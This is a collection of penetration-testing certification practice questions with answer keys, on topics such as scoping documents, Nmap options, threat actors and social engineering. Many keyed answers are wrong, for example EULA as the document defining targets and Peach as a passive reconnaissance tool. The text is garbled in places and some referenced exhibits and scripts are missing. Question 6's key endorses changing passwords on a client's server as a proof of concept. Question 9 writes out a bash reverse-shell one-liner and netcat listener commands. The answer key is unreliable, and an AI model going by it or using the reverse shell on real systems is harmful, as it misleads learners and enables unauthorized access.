NEW QUESTION 1
A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would defined the target list?

• A. Rules of engagement
• B. Master services agreement
• C. Statement of work
• D. End-user license agreement

Answer: D

NEW QUESTION 2
A penetration tester has been asked to conduct OS fingerprinting with Nmap using a companyprovide text file that contain a list of IP addresses.
Which of the following are needed to conduct this scan? (Select TWO).

• A. -O
• B. _iL
• C. _sV
• D. -sS
• E. -oN
• F. -oX

Answer: EF

NEW QUESTION 3
DRAG DROP
Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented Each password may be used only once

Answer:

Explanation:
Zverlory
Zverl0ry
zv3rlory
Zv3r!0ry

NEW QUESTION 4
A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?

• A. Advanced persistent threat
• B. Script kiddie
• C. Hacktivist
• D. Organized crime

Answer: A

NEW QUESTION 5
DRAG DROP
A manager calls upon a tester to assist with diagnosing an issue within the following Python script:
#!/usr/bin/python
s = "Administrator"
The tester suspects it is an issue with string slicing and manipulation Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment Options may be used once or not at all

Answer:

Explanation:
Nsrt
Snma
Trat
Imda

NEW QUESTION 6
A penetration test was performed by an on-staff technicians junior technician. During the test, the technician discovered the application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance?

• A. Document Ihe findtngs with an executive summary, recommendations, and screenshots of the web apphcation disclosure.
• B. Connect to the SQL server using this information and change the password to one or two noncritical accounts to demonstrate a proof-of-concept to management.
• C. Notify the development team of the discovery and suggest that input validation be implementedon the web application's SQL query strings.
• D. Request that management create an RFP to begin a formal engagement with a professional penetration testing company.

Answer: B

NEW QUESTION 7
Which of the following would be BEST for performing passive reconnaissance on a target's external domain?

• A. Peach
• B. CeWL
• C. OpenVAS
• D. Shodan

Answer: A

NEW QUESTION 8
Click the exhibit button.

A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network Which of the following types of attacks should the tester stop?

• A. SNMP brute forcing
• B. ARP spoofing
• C. DNS cache poisoning
• D. SMTP relay

Answer: B

NEW QUESTION 9
A tester intends to run the following command on a target system:
bash -i >& /dev/tcp/10.2.4.6/443 0>&1
Which of the following additional commands would need to be executed on the tester's Linux system.o make (he pre*ous command success?

• A. nc -nvlp 443
• B. nc 10.2.4.6 443
• C. nc -w3 10.2.4.6 443
• D. nc-/bin/ah 10.2.4.6 443

Answer: A

NEW QUESTION 10
After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable The Client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

• A. SOW
• B. NDA
• C. EULA
• D. BRA

Answer: D

NEW QUESTION 11
Joe, a penetration tester, is asked to assess a company's physical security by gaining access to its corporate office. Joe ism looking for a method that will enable him to enter the building during business hours or when there are no employee on-site. Which of the following would be MOST effective in accomplishing this?

• A. Badge cloning
• B. Lock picking
• C. Tailgating
• D. Piggybacking

Answer: A

NEW QUESTION 12
Which of the following BEST explains why it is important to maintain confidentiality of any identified findings when performing a penetration test?

• A. Penetration test findings often contain company intellectual property
• B. Penetration test findings could lead to consumer dissatisfaction if made pubic
• C. Penetration test findings are legal documents containing privileged information
• D. Penetration test findings can assist an attacker in compromising a system

Answer: C

NEW QUESTION 13
Given the following Python script:

Which of the following actions will it perform?

• A. ARP spoofing
• B. Port scanner
• C. Reverse shell
• D. Banner grabbing

Answer: A

NEW QUESTION 14
A client has voiced concern about the number of companies being branched by remote attackers, who are looking for trade secrets. Which of following BEST describes the types of adversaries this would identify?

• A. Script kiddies
• B. APT actors
• C. Insider threats
• D. Hacktrvist groups

Answer: B

NEW QUESTION 15
An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email m to obtain the CEO s login credentials Which of the following types of attacks is this an example of?

• A. Elicitation attack
• B. Impersonation attack
• C. Spear phishing attack
• D. Drive-by download attack

Answer: B

NEW QUESTION 16
Which of the following reasons does penetration tester needs to have a customer's point-of -contact information available at all time? (Select THREE).

• A. To report indicators of compromise
• B. To report findings that cannot be explogted
• C. To report critical findings
• D. To report the latest published explogts
• E. To update payment information
• F. To report a server that becomes unresponsive
• G. To update the statement o( work
• H. To report a cracked password

Answer: DEF